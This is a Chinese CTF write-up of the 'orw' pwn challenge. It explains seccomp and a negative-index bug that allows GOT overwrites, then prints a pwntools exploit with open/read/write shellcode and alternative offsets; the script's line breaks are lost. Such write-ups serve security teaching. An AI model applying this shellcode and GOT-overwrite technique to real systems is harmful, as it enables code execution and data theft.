PWN题[强网先锋]orw超详细讲解(多解法)

知识点

构造一段shellcode的作用就是为了在缓冲区溢出时将shellcode的地址覆盖正常的返回地址。

\x00 截断符 shellcode里出现\x00就会从其截断,所以构造shellcode的时候要避免\x00

x64函数调用规则
x64机器在调用某个函数前,比如int func(int a, int b, int c, int d, int e, int f, int g, int h),首先他会把前6个参数从左往右存入到寄存器rdi、rsi、rdx、rcx、r8、r9,其余参数存入到栈里,保存的顺序是从右往左入栈。比如abcdef会存入到寄存器里,然后一次入栈h、g。
保存完参数之后再把函数后面一条指令的地址入栈保存。

解题流程

查看文件类型:
在这里插入图片描述
查看保护机制:
在这里插入图片描述
因为不是FULL RELRO所以就考虑改got表为shellcode地址

IDA64位打开
Main查看伪码:
在这里插入图片描述
查看子程序
在这里插入图片描述
seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
做pwn,用seccomp做沙箱保护很常见。有时候seccomp后面会跟一个结构体
seccomp是一类内核里的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如劫持程序流后通过execve的syscall来getshell.通过seccomp我们可以在程序里禁用掉某些syscall,这样就算劫持了程序流也只能调用部分的syscall了。
seccomp(全称securecomputing mode)是linuxkernel从2.6.23版本开始所支持的一类安全机制。
在Linux系统里,大量的系统调用(systemcall)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。通过seccomp,我们限制程序使用某些系统调用,这样可以减少系统的暴露面,同时是程序进入一类“安全”的状态。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
数字后面有u,uL,uLL:
u代表unsigned,默认为unsigned int
uL代表unsigned long
数字文字的ULL后缀uLL为unsigned long long int,令类型为整数常量unsigned long long int,添加后缀ULL到整数。

1.add
在这里插入图片描述
注意:
*((_QWORD *)&unk_2020E0 + v1)即unk_2020E0[v1]

2.show
在这里插入图片描述

3.edit
在这里插入图片描述
4.delete
在这里插入图片描述
释放分配的内存

漏洞分析

在这里插入图片描述
sub_BCA里发现开了沙箱。
先将libseccomp.so.0文件路径添加到环境变量里
Export LD_LIBRARY_PATH=’/home/kali/Desktop’
再ldd链接
在这里插入图片描述
限制了只能使用open,read,write

在add里
在这里插入图片描述
令index下标为负数时可以覆盖到其他函数的got表地址

具体解决

下面介绍三个解决方案:

方法一

这里选覆盖掉exit的got表里的地址,因为沙盒的存在,所以需要构造orw的shellcode并覆盖exit的got地址为shellcode
在这里插入图片描述
在这里插入图片描述
exit位置在unk_2020E0位置的上面
相差偏移量:E0-78=0x68=104,再除以8=13,即向上偏移13可覆盖exit的地址

exp脚本如下:

from pwn import *p=process('./pwn')
#p = remote("39.105.131.68","12354")
elf=ELF('./pwn')
context(os='linux',arch='amd64')shellcode='''xor rax, rax   #xor rax,rax是对rax的清零运算操作xor rdi, rdi   #清空rdi寄存器的值xor rsi, rsi   #清空rsi寄存器的值xor rdx, rdxmov rax, 2      #open调用号为2mov rdi, 0x67616c662f2e   #为galf/.为./flag的相反   0x67616c662f2e为/flag的ASCII码的十六进制push rdimov rdi, rspsyscall   #系统调用前,linux在eax寄存器里写入子功能号,断止处理程序根据eax寄存器的值来判断用户进程申请哪类系统调用。mov rdx, 0x100   #sys_read(3,file,0x100)mov rsi, rdimov rdi, raxmov rax, 0      #read调用号为0,0为文件描述符,即外部输入,例如键盘syscallmov rdi, 1      #sys_write(1,file,0x30)mov rax, 1      #write调用号为1,1为文件描述符,指的是屏幕syscall
'''
p.recv()
p.sendline('1')
p.recvuntil('index:')
p.sendline('-13')
p.recvuntil('size:')
p.sendline('0')
p.recvuntil('content:')
p.sendline(asm(shellcode))   #asm可以对汇编代码进行汇编
#gdb.attach(p)
p.sendline('5')p.interactive()

flag值为:flag{151a5154-orw1-easy-1234-99bdsa23c7ds}

方法二

覆盖掉free的got表里的地址,将上面的脚本的偏移-13改为-25即可

方法三

覆盖掉atoi的got表里的地址,将上面的脚本的偏移-13改为-14即可

方法四

覆盖掉puts的got表里的地址,将上面的脚本的偏移-13改为-22即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/525139.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

for循环讲解啊

package com.wuming.struct; public class ForDemo01 { public static void main(String[] args) { int a1;//初始化条件 while(a<100){//条件判断 System.out.println(a);//循环体 a2;//迭代 } System.out.p…

资深程序员参加面试因穿着被认为是新手,拿下帽子后,被当场录取

戳蓝字“CSDN云计算”关注我们哦&#xff01;&#xff08;图自&#xff1a;微博冰原上空的飞燕&#xff09;IT程序猿 微博网友评论&#xff1a;嘉嘉大美人&#xff1a;这个发型&#xff0c;小公司都雇不起NanoNova&#xff1a;格子衫&#xff0c;脱发这些梗还要用多久贝贝呵呵哈…

BugkuCTF-Crypto题这不是md5

描  述: 666c61677b616537333538376261353662616566357d 知识点&#xff1a;16进制到文本字符串 66 6c 61 67 7b 61 65 37 33 35 38 37 62 61 35 36 62 61 65 66 35 7d 点击十六进制转字符&#xff1a;

为什么公司宁愿花25K重新招人,也不愿花20K留住老员工?

戳蓝字“CSDN云计算”关注我们哦&#xff01;身在职场&#xff0c;经常会暗自打听同事工资&#xff0c;尤其是得知身边新入职同事的工资居然比自己高&#xff0c;还高出一大截时&#xff0c;心里自然很不平衡&#xff0c;一心想要离职。 那么&#xff0c;为什么公司宁愿花高价招…

for循环练习题

package com.wuming.struct; public class ForDemo02 { public static void main(String[] args) { //计算0~100之间奇数和&#xff0c;偶数和 int oddSum0; int evenSum0; for (int i 0; i <100; i) { if (i%2!0){//奇数…

BugkuCTF-MISC题cisco(writeup)

解题准备 本题需要掌握AES加解密&#xff0c;cisco模拟器软件Cisco Packet Tracer 以及cisco交换机基本命令。 解题流程 cisco 描述: 密码是flag。 把cisco.zip解压后&#xff0c;得到2个txt文档。 解题思路 1.txt打开是乱码&#xff0c;先看看2.txt文件。 2.txt打开后得到…

增强for循环讲解

package com.wuming.struct; public class ForDemo05 { public static void main(String[] args) { //增强for循环 //jdk5特性 int[] numbers{10,20,30,40,50};//定义了一个数组 for (int i 0; i < 5; i) { System.out.p…

20张图表达程序员的心酸

戳蓝字“CSDN云计算”关注我们哦&#xff01;「1」被老板委派接手刚刚离职同事的项目...「2」当他们要求我测试所有应用功能时「3」准备下班的时候,测试又提bug过來了… 「4」使用新框架却忘记阅读文档「5」测试实习生的代码「6」网络延迟的危害...「7」测试刚写完的代码「8」d…

BugkuCTF-MISC题convert

下载文件 打开文件&#xff0c;发现1和0总个数除以8余一个数 所以删除尾部的0&#xff0c;将1.txt改为1-删除尾部0.txt 八位二进制 对应 两个十六进制 先将其隔开 with open("1-删除尾部0.txt",r) as f:s f.read()for i in range(0,len(s),8):#print(s[i:i8],end&q…

程序员为什么想进大厂,看看年终奖你们就知道了

戳蓝字“CSDN云计算”关注我们哦&#xff01;2018年的最后一个月&#xff0c;一年的辛苦不易除了放假就盼着年终奖了&#xff0c;一直以来被外行人称为“钱多话少”的程序员&#xff0c;到了年底也都能拿到不少的年终奖&#xff0c;毕竟都是996拼出来的&#xff0c;那么国内的互…

break详细讲解啊

package com.wuming.struct; public class BreakDemo01 { public static void main(String[] args) { //break终止当前循环&#xff0c;循环后面的可继续输出 int i0; while(i<100){ i; System.out.println(i); …

BugkuCTF-MISC题linux与linux2

linux 下载文件 解压 得到flag文件 在终端输入cat flag或者strings flag即可得到flag key{feb81d3834e2423c9903f4755464060b} linux2 下载文件 解压 在终端输入strings brave 搜索得到key

continue详细讲解

package com.wuming.struct; public class ContinueDemo01 { public static void main(String[] args) { //continue 跳过当前循环即当前循环内continue后面的输出语句不执行&#xff0c;继续下一次循环 int i0; while(i<100){ i;…

Python | 7招教你识别一个网站是否是Django后台

戳蓝字“CSDN云计算”关注我们哦&#xff01;作者 l 上海小胖 来源 l Python专栏&#xff08;ID&#xff1a;xpchuiit&#xff09;转载请联系授权&#xff08;微信ID&#xff1a;pythonzhuanlan&#xff09;目录&#xff1a;1. 利用Debug模式异常页面判断2. 通过CSRF Token验…

BugkuCTF-MISC题Photo的自我

下载附件得到一个压缩包&#xff0c;压缩包里面是个文件夹&#xff0c;文件夹内有一个图片和两个加密的压缩包&#xff0c;先看看这个图片 能隐约发现右下角有信息藏着的&#xff0c;修改图片高度得到图片右下角的信息:B:One2021 图片右下角的信息露出来了&#xff1a;B:One2…

java.lang.ClassNotFoundException: lombok.Data

原因&#xff1a;mysql datetime类型&#xff0c;实体类 写成了 Data 方案&#xff1a;把所有的实体类&#xff0c;还有可能不在一个包下的扩展实体类找到&#xff08;博主就是耗在这里忘记了还有个扩展实体类&#xff09;&#xff0c;Data改成Date 耗时&#xff1a;2021/11/…

C语言变量声明和定义 - C语言零基础入门教程

目录 1.变量名的开头必须是字母或下划线&#xff0c;不能是数字2.变量名中的字母是区分大小写的3.变量名绝对不可以是 C 语言关键字4.变量名中不能有空格四.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 **程序猿有一个梗&#xff1a;写代码代码…

我那么拼命,为什么还会被裁掉?

戳蓝字“CSDN云计算”关注我们哦&#xff01;本文转载自「程序人生」&#xff0c;搜索「coder_life」即可关注。我们那么努力&#xff0c;为什么还会被裁掉&#xff1f;昨晚下班经过北京望京地铁站&#xff0c;看到一位姑娘&#xff0c;在换乘通道里的消防栓上&#xff0c;打开…

BugkuCTF-MISC题Pokergame

补充&#xff1a; 用010hex打开zip文件。 把504B0304后的第3、4个byte改成0000 即将0900改为0000 而504B0102后的第5、6个byte不需改成0000即可破解伪加密。 解题 下载&#xff0c;解压 文件有hint.txt,king.jpg,kinglet.jpg,Poke.zip 通过binwalk -e 和foremost分别分离kin…

ssm_layui_billmanagersystem账单管理系统(全栈开发)

https://github.com/blackDream-sys/ssm_layui_managersystem 注释很全面&#xff0c;前端和后端方法都写的通俗易懂&#xff0c;适合大家学习